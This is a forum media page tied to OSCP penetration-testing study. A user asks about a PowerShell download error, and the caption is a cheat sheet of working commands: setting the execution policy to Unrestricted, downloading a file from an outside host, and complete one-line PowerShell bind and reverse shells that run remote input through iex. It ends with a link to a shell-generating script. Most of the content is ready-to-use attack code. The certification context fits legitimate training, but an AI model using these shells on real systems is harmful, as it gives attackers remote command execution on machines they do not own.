Ahmed.Attia

Offensive Security Certified Professional‬‎ / OSCP |Module4 - Practical Tools 3

Exception calling "DownloadFile" with "2" argument(s): "Unable to connect to the remote server"
At line:1 char:1
+ (new-object System.Net.WebClient).DownloadFile('http://10.0.2.15:8888 ...
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+ CategoryInfo : NotSpecified: :)) [], MethodInvocationException
+ FullyQualifiedErrorId : WebException
this error appears when I transfer files at powerchell so what is the problem?
 

Media information

Album
OSCP
Added by
Ahmed.Attia
Date added
View count
5,389
Comment count
4
Rating
5.00 star(s) 1 ratings

Caption

Code:
PowerShell

##########
Intro:

Set-ExecutionPolicy Unrestricted
Get-ExecutionPolicy
Get-ChildItem
Get-Alias
---------------------------------------------------------------------------------
PowerShell File Transfers:

powershell -c "(new-object System.Net.WebClient).DownloadFile('http://192.168.1.7:8888/out.zip','C:\Users\limbo\Desktop\out.zip')"
---------------------------------------------------------------------------------
PowerShell Bind Shells:

powershell -c "$listener = New-Object System.Net.Sockets.TcpListener('0.0.0.0',443);$listener.start();$client = $listener.AcceptTcpClient();$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close();$listener.Stop()"
---------------------------------------------------------------------------------
PowerShell Reverse Shells:

powershell -c "$client = New-Object System.Net.Sockets.TCPClient('192.168.1.7',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String ); $sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
---------------------------------------------------------------------------------
----------------------------
------> Python code
https://raw.githubusercontent.com/M...057c0422f385211dc98c457584ba4/mkpowershell.py

Share this media

Top